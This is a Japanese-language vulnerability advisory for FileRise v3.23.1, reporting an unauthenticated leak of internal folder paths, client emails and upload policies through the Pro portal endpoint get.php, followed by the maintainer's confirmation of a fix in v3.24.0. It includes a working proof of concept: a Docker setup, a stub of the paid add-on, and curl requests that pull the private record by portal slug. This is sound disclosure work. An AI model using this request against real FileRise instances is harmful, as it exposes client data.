get.php)における未認証の情報漏洩public/api/pro/portals/get.php は、FileRise Pro クライアントポータルの完全な内部レコード — 内部ストレージフォルダパス、クライアントの連絡先メールアドレス、および完全なアップロードポリシーを含む — を、ポータルのスラッグを知っているか推測できる未認証の呼び出し元に返します。
同じディレクトリ内のすべての兄弟エンドポイント(list.php、save.php、listEntries.php、submitForm.php、submissions.php)は実行前に fr_pro_guard_auth(...) を呼び出しますが、get.php だけが唯一の例外です。アプリケーションには既に、同じスラッグに対して意図的に厳選された公開エンドポイント(publicMeta.php)が同梱されており、これはブランディングフィールドのみを返します — これはこのデータが認証前に公開されることを意図していない証拠です。
public/api/pro/portals/get.phpProPortalsApiService::getPortal() → PortalController::getPortalBySlug()(src/FileRise/Http/Controllers/PortalController.php:60)error311/FileRise @ タグ v3.23.1(プロジェクト自身の Dockerfile からビルド、初回実行の新規セットアップ)get.php は認証ゲートなしで実行されます:
require_once __DIR__ . '/../_common.php'; require_once PROJECT_ROOT . '/src/FileRise/Domain/ProPortalsApiService.php';
try { $slug = isset($_GET['slug']) ? (string)$_GET['slug'] : ''; fr_pro_emit_result(\FileRise\Domain\ProPortalsApiService::getPortal($slug)); } catch (Throwable $e) { ... }
このファイルには fr_pro_guard_auth() の呼び出しがどこにもありません — 最初にこれを呼び出す list.php / save.php / listEntries.php とは対照的です。
getPortal() は、管理者がポータル編集画面で見るのと同じレコードを返し、機密フィールドを含みます:
return [
'slug' => ..., 'label' => ..., 'folder' => $folder, 'clientEmail' => $clientEmail,
'sourceId' => $sourceId, 'uploadOnly' => ..., 'allowDownload' => ...,
'uploadMaxSizeMb' => ..., 'uploadExtWhitelist' => ..., 'uploadMaxPerDay' => ...,
'allowSubfolders' => ..., 'formDefaults' => ..., 'canUpload' => $canUpload, ...
];
対照的に、publicMeta.php — フロントエンド(public/js/portal.js)が匿名ポータルランディングページ用に実際に呼び出すエンドポイント — は、別の最小限の portals.json プロジェクションから PortalPublicMetaService::getPublicPortalMeta() を介して読み込み、ブランディングフィールドのみを返します:
['slug', 'label', 'title', 'introText', 'brandColor', 'footerText', 'logoFile', 'logoUrl']
前提条件について: 攻撃者はポータルのスラッグを知っているか推測するだけで済みます — これは共有可能なポータル URL(/portal/<slug>)で直接使用される、管理者が選択した短く人間が読めるラベルであり、高エントロピーの秘密ではありません。スラッグは日常的にメールやリンクでクライアントと共有されるため、ポータルリンクを一度でも受け取ったことのある人なら現実的に到達可能です。
error311/FileRise @ v3.23.1 に対して、脆弱なリクエストにクッキー/セッションを一切使用せずにライブで検証済み。
テストに関する注記: FileRise Pro(ライセンス版
ProPortals.phpバンドル)は、このリポジトリには含まれていない別途有料のアドオンです。以下の PoC は、OSS コードが既に呼び出しているlistPortals()インターフェースのみを実装した最小限のローカルテストスタブで Pro モードを有効にします(PortalController.php:60→new ProPortals(FR_PRO_BUNDLE_DIR)→->listPortals())。これは、実際のライセンス版インスタンスがすべて実行する OSS 側のコードパスを正確に再現します。プロプライエタリなコードは使用も要求もされていません。
1. イメージをビルド:
git clone https://github.com/error311/FileRise.git
cd FileRise
docker build -t filerise-local -f Dockerfile .
2. 最小限のローカルスタブ — OSS 側の Pro ゲーティングコードを実行するため(プロプライエタリバンドルではなく、FR_PRO_ACTIVE / ProPortals::listPortals() を満たすのに十分なだけ):
mkdir -p data/users/procat > data/users/pro/bootstrap_pro.php <<'PHP' <?php define('FR_PRO_ACTIVE', true); PHP
cat > data/users/pro/ProPortals.php <<'PHP' <?php class ProPortals { public function __construct(string $dir) {} public function listPortals(): array { return ['client-portal' => [ 'label' => 'Client Portal', 'folder' => 'confidential/client-acme-contracts', 'clientEmail' => '[email protected]', 'uploadOnly' => true, 'allowDownload' => false, 'uploadMaxSizeMb' => 25, 'uploadExtWhitelist' => 'pdf,docx', 'uploadMaxPerDay' => 10, ]]; } } PHP
cat > data/users/pro/portals.json <<'JSON' {"portals":{"client-portal":{"label":"Client Portal","folder":"confidential/client-acme-contracts","clientEmail":"[email protected]"}}} JSON
3. コンテナを実行:
docker run -d --name filerise-test -p 8899:80 \
-v "$(pwd)/data/uploads:/var/www/uploads" \
-v "$(pwd)/data/users:/var/www/users" \
-v "$(pwd)/data/metadata:/var/www/metadata" \
-e SECURE=false filerise-local
4. 未認証リクエスト — クッキージャーなし、ログインなし:
curl -s "http://localhost:8899/api/pro/portals/get.php?slug=client-portal"
結果(HTTP 200):
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal",
"folder":"confidential/client-acme-contracts",
"clientEmail":"[email protected]",
"uploadOnly":true,"allowDownload":false,
"uploadMaxSizeMb":25,"uploadExtWhitelist":"pdf,docx","uploadMaxPerDay":10, ... }}
5. アプリ自身の意図的に公開された兄弟エンドポイントとの対比、同じスラッグ:
curl -s "http://localhost:8899/api/pro/portals/publicMeta.php?slug=client-portal"
{"success":true,"portal":{"slug":"client-portal","label":"Client Portal","title":"","introText":"","brandColor":"","footerText":"","logoFile":"","logoUrl":""}}
folder なし、clientEmail なし、アップロードポリシーなし — get.php がアプリケーション自身がプライベートとして扱うデータを開示していることを確認します。
6. 兄弟の管理者専用エンドポイントが正しくゲートされていることの確認(比較用):
curl -s -w "\nHTTP:%{http_code}\n" "http://localhost:8899/api/pro/portals/list.php"
{"error":"Unauthorized"}
HTTP:401
| フィールド | 値 |
|---|---|
| CVSS 3.1 ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| CVSS 3.1 スコア | 5.3 (Medium) |
| CWE-306 | 重要な機能に対する認証の欠如 |
| CWE-200 | 権限のないアクターへの機密情報の露出 |
兄弟エンドポイントが使用しているのと同じ fr_pro_guard_auth(...) ゲートを追加します。get.php は実際には認証済み管理者の「ポータル編集」画面にサービスを提供しているように見えるため(public/js/adminPortals.js による)、fr_pro_guard_auth(true, false)(管理者)を要求すべきです。正当な匿名使用は、代わりに PortalPublicMetaService の既に厳選されたフィールドセットを経由すべきです。
責任ある開示と詳細な再現に感謝します。
FileRise Pro ポータルエンドポイントをレビューし、問題を確認しました。/api/pro/portals/get.php は、認証された FileRise セッションを最初に要求することなく、認証済みポータルアプリケーションの完全なポータルレコードを返していました。したがって、設定されたポータルのスラッグを知っているか推測した呼び出し元は、ポータルの内部ストレージフォルダ、設定されたクライアントメール、フォーム設定、およびアップロードポリシーの詳細を取得できました。
匿名ポータルログインページはこの内部レコードを必要としません。これは別の /api/pro/portals/publicMeta.php エンドポイントを使用しており、これは意図的に厳選されたブランディングフィールドのみを返します。
修正は FileRise v3.24.0 に実装されています: